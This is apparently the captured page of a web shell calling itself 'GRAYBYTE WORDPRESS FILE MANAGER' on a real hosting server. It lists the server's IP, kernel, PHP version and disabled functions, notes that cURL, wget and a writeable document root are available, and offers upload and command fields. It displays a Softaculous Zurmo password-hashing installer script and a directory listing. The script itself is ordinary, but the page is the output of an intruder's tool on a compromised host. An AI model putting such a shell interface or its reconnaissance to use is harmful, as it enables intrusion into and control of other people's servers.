GRAYBYTE WORDPRESS FILE MANAGER8019

Server IP : 149.255.58.128 / Your IP : 216.73.216.123
System : Linux cloud516.thundercloud.uk 5.14.0-427.26.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 17 15:51:13 EDT 2024 x86_64
PHP Version : 8.2.28
Disable Function : allow_url_include, apache_child_terminate, apache_setenv, exec, passthru, pcntl_exec, posix_kill, posix_mkfifo, posix_getpwuid, posix_setpgid, posix_setsid, posix_setuid, posix_setgid, posix_seteuid, posix_setegid, posix_uname, proc_close, proc_get_status, proc_open, proc_terminate, shell_exec, show_source, system
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /var/softaculous/zurmo/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /var/softaculous/zurmo//update_pass.php
<?php

$resp = crypt(md5('[[admin_pass]]'), __genSalt());
echo '<update_pass>'.$resp.'</update_pass>';

function __genSalt($input = null)
{
	if (!$input) {
		$input = __getRandomBytes(16);
	}
	
	$_identifier = '2y';
	
	if (version_compare(PHP_VERSION, '5.3.7', '<')) {
		$_identifier = '2a';
	}
	
	$_iterationCountLog2 = 12;
	// Hash identifier
	$identifier = $_identifier;

	// Cost factor - "4" to "04"
	$costFactor  = chr(ord('0') + $_iterationCountLog2 / 10);
	$costFactor .= chr(ord('0') + $_iterationCountLog2 % 10);

	// Salt string
	$salt = __encode64($input, 16);

	// $II$CC$SSSSSSSSSSSSSSSSSSSSSS
	return '$' . $identifier . '$' . $costFactor . '$' . $salt;
}

function __encode64($input, $count){
	$output = '';
	$i = 0;
	$_itoa64 = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
	do {
		$c1 = ord($input[$i++]);
		$output .= $_itoa64[$c1 >> 2];
		$c1 = ($c1 & 0x03) << 4;
		if ($i >= $count) {
			$output .= $_itoa64[$c1];
			break;
		}

		$c2 = ord($input[$i++]);
		$c1 |= $c2 >> 4;
		$output .= $_itoa64[$c1];
		$c1 = ($c2 & 0x0f) << 2;

		$c2 = ord($input[$i++]);
		$c1 |= $c2 >> 6;
		$output .= $_itoa64[$c1];
		$output .= $_itoa64[$c2 & 0x3f];
	} while (1);

	return $output;
}

function __getRandomBytes($count){
	
	if (!is_int($count) || $count < 1) {
		//throw new InvalidArgumentException('Argument must be a positive integer');
	}

	// Try OpenSSL's random generator
	if (function_exists('openssl_random_pseudo_bytes')) {
		$strongCrypto = false;
		$output = openssl_random_pseudo_bytes($count, $strongCrypto);
		if ($strongCrypto && strlen($output) == $count) {
			return $output;
		}
	}

	// Try reading from /dev/urandom, if present
	$output = '';
	if (is_readable('/dev/urandom') && ($fh = fopen('/dev/urandom', 'rb'))) {
		$output = fread($fh, $count);
		fclose($fh);
	}

	// Fall back to a locally generated "random" string
	if (strlen($output) < $count) {
		$_randomState = microtime();
		$output = '';
		for ($i = 0; $i < $count; $i += 16) {
			$_randomState = md5(microtime() . $_randomState);
			$output .= md5($_randomState, true);
		}
		$output = substr($output, 0, $count);
	}

	return $output;
}

@unlink('update_pass.php');

?>

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
May 23 2025 09:37:16
0 / root
0755
images
--
May 08 2024 09:15:06
0 / root
0755
php53
--
May 08 2024 09:15:06
0 / root
0755
php56
--
May 08 2024 09:15:06
0 / root
0755
php71
--
May 08 2024 09:15:06
0 / root
0755
php81
--
May 08 2024 09:15:06
0 / root
0755
php82
--
May 08 2024 09:15:06
0 / root
0755
upgrade
--
May 08 2024 09:15:06
0 / root
0755
clone.php
6.212 KB
May 02 2024 08:05:30
0 / root
0644
debug.php
7.625 KB
December 23 2021 06:54:36
0 / root
0644
edit.php
5.67 KB
May 02 2024 08:05:30
0 / root
0644
edit.xml
0.423 KB
December 23 2021 06:54:36
0 / root
0644
extend.php
1.839 KB
May 02 2024 08:05:30
0 / root
0644
fileindex.php
0.048 KB
December 23 2021 06:54:36
0 / root
0644
import.php
3.529 KB
May 02 2024 08:05:30
0 / root
0644
info.xml
3.415 KB
May 02 2024 05:25:50
0 / root
0644
install.js
0.902 KB
December 23 2021 06:54:36
0 / root
0644
install.php
9.655 KB
May 02 2024 08:05:30
0 / root
0644
install.xml
0.495 KB
December 23 2021 06:54:36
0 / root
0644
md5
10.459 KB
May 02 2024 08:05:30
0 / root
0644
notes.txt
1.063 KB
December 23 2021 06:54:36
0 / root
0644
perInstance.php
3.864 KB
December 23 2021 06:54:36
0 / root
0644
update_pass.php
2.135 KB
December 23 2021 06:54:36
0 / root
0644
upgrade.php
9.478 KB
May 02 2024 08:05:30
0 / root
0644
upgrade.xml
0.379 KB
December 23 2021 06:54:36
0 / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF